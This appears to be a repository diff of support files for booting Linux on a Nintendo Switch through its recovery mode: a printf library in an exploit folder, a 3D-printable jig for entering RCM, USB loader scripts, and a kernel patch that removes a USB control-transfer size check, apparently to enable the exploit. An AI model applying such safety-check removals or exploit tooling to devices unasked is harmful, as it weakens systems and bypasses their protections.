* 2008-01-06 Holger Weiss <holger@jhweiss.de> for C99-snprintf 1.0:
*
* Added a lot of new features, fixed many bugs, and incorporated various
* improvements done by Andrew Tridgell <tridge@samba.org>, Russ Allbery
* <rra@stanford.edu>, Hrvoje Niksic <hniksic@xemacs.org>, Damien Miller
* <djm@mindrot.org>, and others for the Samba, INN, Wget, and OpenSSH
* projects. The additions include: support the "e", "E", "g", "G", and
* "F" conversion specifiers (and use conversion style "f" or "F" for the
* still unsupported "a" and "A" specifiers); support the "hh", "ll", "j",
* "t", and "z" length modifiers; support the "#" flag and the (non-C99)
* "'" flag; use localeconv(3) (if available) to get both the current
* locale's decimal point character and the separator between groups of
* digits; fix the handling of various corner cases of field width and
* precision specifications; fix various floating point conversion bugs;
* handle infinite and NaN floating point values; don't attempt to write to
* the output buffer (which may be NULL) if a size of zero was specified;
* check for integer overflow of the field width, precision, and return
* values and during the floating point conversion; use the OUTCHAR() macro
* instead of a function for better performance; provide asprintf(3) and
* vasprintf(3) functions; add new test cases. The replacement functions
* have been renamed to use an "rpl_" prefix, the function calls in the
* main project (and in this file) must be redefined accordingly for each
* replacement function which is needed (by using Autoconf or other means).
* Various other minor improvements have been applied and the coding style
* was cleaned up for consistency.
*
* 2007-07-23 Holger Weiss <holger@jhweiss.de> for Mutt 1.5.13:
*
* C99 compliant snprintf(3) and vsnprintf(3) functions return the number
* of characters that would have been written to a sufficiently sized
* buffer (excluding the '\0'). The original code simply returned the
* length of the resulting output string, so that's been fixed.
*
* 1998-03-05 Michael Elkins <me@mutt.org> for Mutt 0.90.8:
*
* The original code assumed that both snprintf(3) and vsnprintf(3) were
* missing. Some systems only have snprintf(3) but not vsnprintf(3), so
* the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF.
*
* 1998-01-27 Thomas Roessler <roessler@does-not-exist.org> for Mutt 0.89i:
*
* The PGP code was using unsigned hexadecimal formats. Unfortunately,
* unsigned formats simply didn't work.
*
* 1997-10-22 Brandon Long <blong@fiction.net> for Mutt 0.87.1:
*
* Ok, added some minimal floating point support, which means this probably
* requires libm on most operating systems. Don't yet support the exponent
* (e,E) and sigfig (g,G). Also, fmtint() was pretty badly broken, it just
* wasn't being exercised in ways which showed it, so that's been fixed.
* Also, formatted the code to Mutt conventions, and removed dead code left
* over from the original. Also, there is now a builtin-test, run with:
* gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm && ./snprintf
*
* 2996-09-15 Brandon Long <blong@fiction.net> for Mutt 0.43:
*
* This was ugly. It is still ugly. I opted out of floating point
* numbers, but the formatter understands just about everything from the
* normal C string format, at least as far as I can tell from the Solaris
* 2.5 printf(3S) man page.
*/
#include <stdarg.h>
#include "common.h"
#define VA_START(ap, last) va_start(ap, last)
#define VA_SHIFT(ap, value, type) /* No-op for ANSI C. */
#define ULLONG unsigned long
#define UINTMAX_T unsigned long
#define UINTMAX_MAX ULONG_MAX
#define LLONG long
#define INTMAX_T long
/* Support for uintptr_t. */
#ifndef UINTPTR_T
#if HAVE_UINTPTR_T || defined(uintptr_t)
#define UINTPTR_T uintptr_t
#else
#define UINTPTR_T unsigned long int
#endif /* HAVE_UINTPTR_T || defined(uintptr_t) */
#endif /* !defined(UINTPTR_T) */
/* Support for ptrdiff_t. */
#ifndef PTRDIFF_T
#if HAVE_PTRDIFF_T || defined(ptrdiff_t)
#define PTRDIFF_T ptrdiff_t
#else
#define PTRDIFF_T long int
#endif /* HAVE_PTRDIFF_T || defined(ptrdiff_t) */
#endif /* !defined(PTRDIFF_T) */
/*
* We need an unsigned integer type corresponding to ptrdiff_t (cf. C99:
* 7.19.6.1, 7). However, we'll simply use PTRDIFF_T and convert it to an
* unsigned type if necessary. This should work just fine in practice.
*/
#ifndef UPTRDIFF_T
#define UPTRDIFF_T PTRDIFF_T
#endif /* !defined(UPTRDIFF_T) */
/*
* We need a signed integer type corresponding to size_t (cf. C99: 7.19.6.1, 7).
* However, we'll simply use size_t and convert it to a signed type if
* necessary. This should work just fine in practice.
*/
#ifndef SSIZE_T
#define SSIZE_T size_t
#endif /* !defined(SSIZE_T) */
/*
* Buffer size to hold the octal string representation of UINT128_MAX without
* nul-termination ("3777777777777777777777777777777777777777777").
*/
#ifdef MAX_CONVERT_LENGTH
#undef MAX_CONVERT_LENGTH
#endif /* defined(MAX_CONVERT_LENGTH) */
#define MAX_CONVERT_LENGTH 43
/* Format read states. */
#define PRINT_S_DEFAULT 0
#define PRINT_S_FLAGS 1
#define PRINT_S_WIDTH 2
#define PRINT_S_DOT 3
#define PRINT_S_PRECISION 4
#define PRINT_S_MOD 5
#define PRINT_S_CONV 6
/* Format flags. */
#define PRINT_F_MINUS (1 << 0)
#define PRINT_F_PLUS (1 << 1)
#define PRINT_F_SPACE (1 << 2)
#define PRINT_F_NUM (1 << 3)
#define PRINT_F_ZERO (1 << 4)
#define PRINT_F_QUOTE (1 << 5)
#define PRINT_F_UP (1 << 6)
#define PRINT_F_UNSIGNED (1 << 7)
#define PRINT_F_TYPE_G (1 << 8)
#define PRINT_F_TYPE_E (1 << 9)
/* Conversion flags. */
#define PRINT_C_CHAR 1
#define PRINT_C_SHORT 2
#define PRINT_C_LONG 3
#define PRINT_C_LLONG 4
//#define PRINT_C_LDOUBLE 5
#define PRINT_C_SIZE 6
#define PRINT_C_PTRDIFF 7
#define PRINT_C_INTMAX 8
#ifndef MAX
#define MAX(x, y) ((x >= y) ? x : y)
#endif /* !defined(MAX) */
#ifndef CHARTOINT
#define CHARTOINT(ch) (ch - '0')
#endif /* !defined(CHARTOINT) */
#ifndef ISDIGIT
#define ISDIGIT(ch) ('0' <= (unsigned char)ch && (unsigned char)ch <= '9')
#endif /* !defined(ISDIGIT) */
#define OUTCHAR(str, len, size, ch) \
do { \
if (len + 1 < size) \
str[len] = ch; \
(len)++; \
} while (/* CONSTCOND */ 0)
static void fmtstr(char *, size_t *, size_t, const char *, int, int, int);
static void fmtint(char *, size_t *, size_t, INTMAX_T, int, int, int, int);
static void printsep(char *, size_t *, size_t);
static int getnumsep(int);
static int convert(UINTMAX_T, char *, size_t, int, int);
int vsnprintf(char *str, size_t size, const char *format, va_list args)
{
INTMAX_T value;
unsigned char cvalue;
const char *strvalue;
INTMAX_T *intmaxptr;
PTRDIFF_T *ptrdiffptr;
SSIZE_T *sizeptr;
LLONG *llongptr;
long int *longptr;
int *intptr;
short int *shortptr;
signed char *charptr;
size_t len = 0;
int overflow = 0;
int base = 0;
int cflags = 0;
int flags = 0;
int width = 0;
int precision = -1;
int state = PRINT_S_DEFAULT;
char ch = *format++;
/*
* C99 says: "If `n' is zero, nothing is written, and `s' may be a null
* pointer." (7.19.6.5, 2) We're forgiving and allow a NULL pointer
* even if a size larger than zero was specified. At least NetBSD's
* snprintf(3) does the same, as well as other versions of this file.
* (Though some of these versions will write to a non-NULL buffer even
* if a size of zero was specified, which violates the standard.)
*/
if (str == NULL && size != 0)
size = 0;
while (ch != '\0')
switch (state) {
case PRINT_S_DEFAULT:
if (ch == '%')
state = PRINT_S_FLAGS;
else
OUTCHAR(str, len, size, ch);
ch = *format++;
break;
case PRINT_S_FLAGS:
switch (ch) {
case '-':
flags |= PRINT_F_MINUS;
ch = *format++;
break;
case '+':
flags |= PRINT_F_PLUS;
ch = *format++;
break;
case ' ':
flags |= PRINT_F_SPACE;
ch = *format++;
break;
case '#':
flags |= PRINT_F_NUM;
ch = *format++;
break;
case '0':
flags |= PRINT_F_ZERO;
ch = *format++;
break;
case '\'': /* SUSv2 flag (not in C99). */
flags |= PRINT_F_QUOTE;
ch = *format++;
break;
default:
state = PRINT_S_WIDTH;
break;
}
break;
case PRINT_S_WIDTH:
if (ISDIGIT(ch)) {
ch = CHARTOINT(ch);
if (width > (INT_MAX - ch) / 10) {
overflow = 1;
goto out;
}
width = 10 * width + ch;
ch = *format++;
} else if (ch == '*') {
/*
* C99 says: "A negative field width argument is
* taken as a `-' flag followed by a positive
* field width." (7.19.6.1, 5)
*/
if ((width = va_arg(args, int)) < 0) {
flags |= PRINT_F_MINUS;
width = -width;
}
ch = *format++;
state = PRINT_S_DOT;
} else
state = PRINT_S_DOT;
break;
case PRINT_S_DOT:
if (ch == '.') {
state = PRINT_S_PRECISION;
ch = *format++;
} else
state = PRINT_S_MOD;
break;
case PRINT_S_PRECISION:
if (precision == -1)
precision = 0;
if (ISDIGIT(ch)) {
ch = CHARTOINT(ch);
if (precision > (INT_MAX - ch) / 10) {
overflow = 1;
goto out;
}
precision = 10 * precision + ch;
ch = *format++;
} else if (ch == '*') {
/*
* C99 says: "A negative precision argument is
* taken as if the precision were omitted."
* (7.19.6.1, 5)
*/
if ((precision = va_arg(args, int)) < 0)
precision = -1;
ch = *format++;
state = PRINT_S_MOD;
} else
state = PRINT_S_MOD;
break;
case PRINT_S_MOD:
switch (ch) {
case 'h':
ch = *format++;
if (ch == 'h') { /* It's a char. */
ch = *format++;
cflags = PRINT_C_CHAR;
} else
cflags = PRINT_C_SHORT;
break;
case 'l':
ch = *format++;
if (ch == 'l') { /* It's a long long. */
ch = *format++;
cflags = PRINT_C_LLONG;
} else
cflags = PRINT_C_LONG;
break;
case 'j':
cflags = PRINT_C_INTMAX;
ch = *format++;
break;
case 't':
cflags = PRINT_C_PTRDIFF;
ch = *format++;
break;
case 'z':
cflags = PRINT_C_SIZE;
ch = *format++;
break;
}
state = PRINT_S_CONV;
break;
case PRINT_S_CONV:
switch (ch) {
case 'd':
/* FALLTHROUGH */
case 'i':
switch (cflags) {
case PRINT_C_CHAR:
value = (signed char)va_arg(args, int);
break;
case PRINT_C_SHORT:
value = (short int)va_arg(args, int);
break;
case PRINT_C_LONG:
value = va_arg(args, long int);
break;
case PRINT_C_LLONG:
value = va_arg(args, LLONG);
break;
case PRINT_C_SIZE:
value = va_arg(args, SSIZE_T);
break;
case PRINT_C_INTMAX:
value = va_arg(args, INTMAX_T);
break;
case PRINT_C_PTRDIFF:
value = va_arg(args, PTRDIFF_T);
break;
default:
value = va_arg(args, int);
break;
}
fmtint(str, &len, size, value, 10, width,
precision, flags);
break;
case 'X':
flags |= PRINT_F_UP;
/* FALLTHROUGH */
case 'x':
base = 16;
/* FALLTHROUGH */
case 'o':
if (base == 0)
base = 8;
/* FALLTHROUGH */
case 'u':
if (base == 0)
base = 10;
flags |= PRINT_F_UNSIGNED;
switch (cflags) {
case PRINT_C_CHAR:
value = (unsigned char)va_arg(args,
unsigned int);
break;
case PRINT_C_SHORT:
value = (unsigned short int)va_arg(args,
unsigned int);
break;
case PRINT_C_LONG:
value = va_arg(args, unsigned long int);
break;
case PRINT_C_LLONG:
value = va_arg(args, ULLONG);
break;
case PRINT_C_SIZE:
value = va_arg(args, size_t);
break;
case PRINT_C_INTMAX:
value = va_arg(args, UINTMAX_T);
break;
case PRINT_C_PTRDIFF:
value = va_arg(args, UPTRDIFF_T);
break;
default:
value = va_arg(args, unsigned int);
break;
}
fmtint(str, &len, size, value, base, width,
precision, flags);
break;
case 'c':
cvalue = va_arg(args, int);
OUTCHAR(str, len, size, cvalue);
break;
case 's':
strvalue = va_arg(args, char *);
fmtstr(str, &len, size, strvalue, width,
precision, flags);
break;
case 'p':
/*
* C99 says: "The value of the pointer is
* converted to a sequence of printing
* characters, in an implementation-defined
* manner." (C99: 7.19.6.1, 8)
*/
if ((strvalue = va_arg(args, void *)) == NULL)
/*
* We use the glibc format. BSD prints
* "0x0", SysV "0".
*/
fmtstr(str, &len, size, "(nil)", width,
-1, flags);
else {
/*
* We use the BSD/glibc format. SysV
* omits the "0x" prefix (which we emit
* using the PRINT_F_NUM flag).
*/
flags |= PRINT_F_NUM;
flags |= PRINT_F_UNSIGNED;
fmtint(str, &len, size,
(UINTPTR_T)strvalue, 16, width,
precision, flags);
}
break;
case 'n':
switch (cflags) {
case PRINT_C_CHAR:
charptr = va_arg(args, signed char *);
*charptr = len;
break;
case PRINT_C_SHORT:
shortptr = va_arg(args, short int *);
*shortptr = len;
break;
case PRINT_C_LONG:
longptr = va_arg(args, long int *);
*longptr = len;
break;
case PRINT_C_LLONG:
llongptr = va_arg(args, LLONG *);
*llongptr = len;
break;
case PRINT_C_SIZE:
/*
* C99 says that with the "z" length
* modifier, "a following `n' conversion
* specifier applies to a pointer to a
* signed integer type corresponding to
* size_t argument." (7.19.6.1, 7)
*/
sizeptr = va_arg(args, SSIZE_T *);
*sizeptr = len;
break;
case PRINT_C_INTMAX:
intmaxptr = va_arg(args, INTMAX_T *);
*intmaxptr = len;
break;
case PRINT_C_PTRDIFF:
ptrdiffptr = va_arg(args, PTRDIFF_T *);
*ptrdiffptr = len;
break;
default:
intptr = va_arg(args, int *);
*intptr = len;
break;
}
break;
case '%': /* Print a "%" character verbatim. */
OUTCHAR(str, len, size, ch);
break;
default: /* Skip other characters. */
break;
}
ch = *format++;
state = PRINT_S_DEFAULT;
base = cflags = flags = width = 0;
precision = -1;
break;
}
out:
if (len < size)
str[len] = '\0';
else if (size > 0)
str[size - 1] = '\0';
if (overflow || len >= INT_MAX) {
return -1;
}
return (int)len;
}
static void
fmtstr(char *str, size_t *len, size_t size, const char *value, int width,
int precision, int flags)
{
int padlen, strln; /* Amount to pad. */
int noprecision = (precision == -1);
if (value == NULL) /* We're forgiving. */
value = "(null)";
/* If a precision was specified, don't read the string past it. */
for (strln = 0; value[strln] != '\0' &&
(noprecision || strln < precision); strln++)
continue;
if ((padlen = width - strln) < 0)
padlen = 0;
if (flags & PRINT_F_MINUS) /* Left justify. */
padlen = -padlen;
while (padlen > 0) { /* Leading spaces. */
OUTCHAR(str, *len, size, ' ');
padlen--;
}
while (*value != '\0' && (noprecision || precision-- > 0)) {
OUTCHAR(str, *len, size, *value);
value++;
}
while (padlen < 0) { /* Trailing spaces. */
OUTCHAR(str, *len, size, ' ');
padlen++;
}
}
static void
fmtint(char *str, size_t *len, size_t size, INTMAX_T value, int base, int width,
int precision, int flags)
{
UINTMAX_T uvalue;
char iconvert[MAX_CONVERT_LENGTH];
char sign = 0;
char hexprefix = 0;
int spadlen = 0; /* Amount to space pad. */
int zpadlen = 0; /* Amount to zero pad. */
int pos;
int separators = (flags & PRINT_F_QUOTE);
int noprecision = (precision == -1);
if (flags & PRINT_F_UNSIGNED)
uvalue = value;
else {
uvalue = (value >= 0) ? value : -value;
if (value < 0)
sign = '-';
else if (flags & PRINT_F_PLUS) /* Do a sign. */
sign = '+';
else if (flags & PRINT_F_SPACE)
sign = ' ';
}
pos = convert(uvalue, iconvert, sizeof(iconvert), base,
flags & PRINT_F_UP);
if (flags & PRINT_F_NUM && uvalue != 0) {
/*
* C99 says: "The result is converted to an `alternative form'.
* For `o' conversion, it increases the precision, if and only
* if necessary, to force the first digit of the result to be a
* zero (if the value and precision are both 0, a single 0 is
* printed). For `x' (or `X') conversion, a nonzero result has
* `0x' (or `0X') prefixed to it." (7.19.6.1, 6)
*/
switch (base) {
case 8:
if (precision <= pos)
precision = pos + 1;
break;
case 16:
hexprefix = (flags & PRINT_F_UP) ? 'X' : 'x';
break;
}
}
if (separators) /* Get the number of group separators we'll print. */
separators = getnumsep(pos);
zpadlen = precision - pos - separators;
spadlen = width /* Minimum field width. */
- separators /* Number of separators. */
- MAX(precision, pos) /* Number of integer digits. */
- ((sign != 0) ? 1 : 0) /* Will we print a sign? */
- ((hexprefix != 0) ? 2 : 0); /* Will we print a prefix? */
if (zpadlen < 0)
zpadlen = 0;
if (spadlen < 0)
spadlen = 0;
/*
* C99 says: "If the `0' and `-' flags both appear, the `0' flag is
* ignored. For `d', `i', `o', `u', `x', and `X' conversions, if a
* precision is specified, the `0' flag is ignored." (7.19.6.1, 6)
*/
if (flags & PRINT_F_MINUS) /* Left justify. */
spadlen = -spadlen;
else if (flags & PRINT_F_ZERO && noprecision) {
zpadlen += spadlen;
spadlen = 0;
}
while (spadlen > 0) { /* Leading spaces. */
OUTCHAR(str, *len, size, ' ');
spadlen--;
}
if (sign != 0) /* Sign. */
OUTCHAR(str, *len, size, sign);
if (hexprefix != 0) { /* A "0x" or "0X" prefix. */
OUTCHAR(str, *len, size, '0');
OUTCHAR(str, *len, size, hexprefix);
}
while (zpadlen > 0) { /* Leading zeros. */
OUTCHAR(str, *len, size, '0');
zpadlen--;
}
while (pos > 0) { /* The actual digits. */
pos--;
OUTCHAR(str, *len, size, iconvert[pos]);
if (separators > 0 && pos > 0 && pos % 3 == 0)
printsep(str, len, size);
}
while (spadlen < 0) { /* Trailing spaces. */
OUTCHAR(str, *len, size, ' ');
spadlen++;
}
}
static void
printsep(char *str, size_t *len, size_t size)
{
OUTCHAR(str, *len, size, ',');
}
static int
getnumsep(int digits)
{
int separators = (digits - ((digits % 3 == 0) ? 1 : 0)) / 3;
return separators;
}
static int
convert(UINTMAX_T value, char *buf, size_t size, int base, int caps)
{
const char *digits = caps ? "0123456789ABCDEF" : "0123456789abcdef";
size_t pos = 0;
/* We return an unterminated buffer with the digits in reverse order. */
do {
buf[pos++] = digits[value % base];
value /= base;
} while (value != 0 && pos < size);
return (int)pos;
}
int vsprintf(char *buf, const char *fmt, va_list args)
{
return vsnprintf(buf, INT_MAX, fmt, args);
}

28
exploit/vsprintf.h Normal file
View File

@ -0,0 +1,28 @@
/*
* Copyright (c) 1995 Patrick Powell.
*
* This code is based on code written by Patrick Powell <papowell@astart.com>.
* It may be used for any purpose as long as this notice remains intact on all
* source code distributions.
*/
/*
* Copyright (c) 2008 Holger Weiss.
*
* This version of the code is maintained by Holger Weiss <holger@jhweiss.de>.
* My changes to the code may freely be used, modified and/or redistributed for
* any purpose. It would be nice if additions and fixes to this file (including
* trivial code cleanups) would be sent back in order to let me include them in
* the version available at <http://www.jhweiss.de/software/snprintf.html>.
* However, this is not a requirement for using or redistributing (possibly
* modified) versions of this file, nor is leaving this notice intact mandatory.
*/
#ifndef __VSPRINTF_H__
#define __VSPRINTF_H__
#include <stdarg.h>
int vsprintf(char *buf, const char *fmt, va_list args);
int vsnprintf(char *buf, size_t size, const char *fmt, va_list args);
#endif

View File

@ -0,0 +1,17 @@
--- linux-4.14.27/drivers/usb/host/ehci-hcd.c.old 2018-04-17 18:00:00.000000000 +0000
+++ linux-4.14.27/drivers/usb/host/ehci-hcd.c 2018-04-17 18:00:00.000000000 +0000
@@ -873,14 +873,6 @@
INIT_LIST_HEAD (&qtd_list);
switch (usb_pipetype (urb->pipe)) {
- case PIPE_CONTROL:
- /* qh_completions() code doesn't handle all the fault cases
- * in multi-TD control transfers. Even 1KB is rare anyway.
- */
- if (urb->transfer_buffer_length > (16 * 1024))
- return -EMSGSIZE;
- /* FALLTHROUGH */
- /* case PIPE_BULK: */
default:
if (!qh_urb_transaction (ehci, urb, &qtd_list, mem_flags))
return -ENOMEM;

10
rcm-jig/README.md Normal file
View File

@ -0,0 +1,10 @@
# 3D-printable RCM jig for the Switch
This little jig will let you enter RCM mode without having to sacrifice a
Joy-Con or hold a piece of wire. You will need to break up a Micro USB connector
to get at the pin contact wafer inside, remove all but pins 1 and 4 (which
will contact pins 7 and 10 on the Switch respectively), short them together
at the rear, then insert the wafer into the 3D printed jig. Trim it to fit and
superglue it in place, then verify that the placement looks good.
![RCM jig photo](rcm-jig.jpg)

BIN
rcm-jig/rcm-jig.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 367 KiB

38
rcm-jig/rcm-jig.scad Normal file
View File

@ -0,0 +1,38 @@
$fn=30;
w=9.1;
w2=w-2;
pp=0.65;
pw=0.4;
pins=10;
ps=((pins-1)*pp+pw)/2;
pl=4.5;
ph=0.6;
hl=11;
hw=3.4;
hpw=4*pp+pw;
hdh=ph-0.2;
pl2=3.5;
union() {
difference() {
union() {
cube([w,20,1.8]);
translate([1,4.5,0])
cube([w2,15.5,3]);
}
translate([(w-w2)/2,0,0.8])
cube([w2,4.5,1.8]);
for (pin = [0:pins-1]) {
translate([w/2-ps+pin*pp,0,ph])
cube([pw,pl,2]);
}
translate([w/2+ps-hw+(hw-hpw)/2,pl2,hdh])
cube([hw, hl-pl2, 4]);
}
translate([w/2,15,3])
cylinder(2, 2.5, 2.5);
}

2466
rcm-jig/rcm-jig.stl Normal file

File diff suppressed because it is too large Load Diff

1
usb_loader/.gitignore vendored Normal file
View File

@ -0,0 +1 @@
*.img

2
usb_loader/imx_usb.conf Normal file
View File

@ -0,0 +1,2 @@
#vid:pid, config_file
0x0955:0x701a, switch.conf

5
usb_loader/switch.conf Normal file
View File

@ -0,0 +1,5 @@
switch
hid,1024,0x80000000,0x80000000,2G
../../linux/arch/arm64/boot/Image.gz:load 0x83000000
../../linux/arch/arm64/boot/dts/nvidia/tegra210-nintendo-switch.dtb:load 0x8d000000
switch.scr.img:load 0x8e000000,jump 0x8e000000

8
usb_loader/switch.scr Normal file
View File

@ -0,0 +1,8 @@
# mkimage -A arm64 -T script -C none -n "boot.scr" -d switch.scr switch.scr.img
echo "unzipping kernel..."
unzip 0x83000000 0x85000000
setenv bootargs 'root=/dev/mmcblk0p2 rw fbcon=rotate:3 rootwait'
echo "resetting usb..."
usb reset
echo "booting..."
booti 0x85000000 - 0x8d000000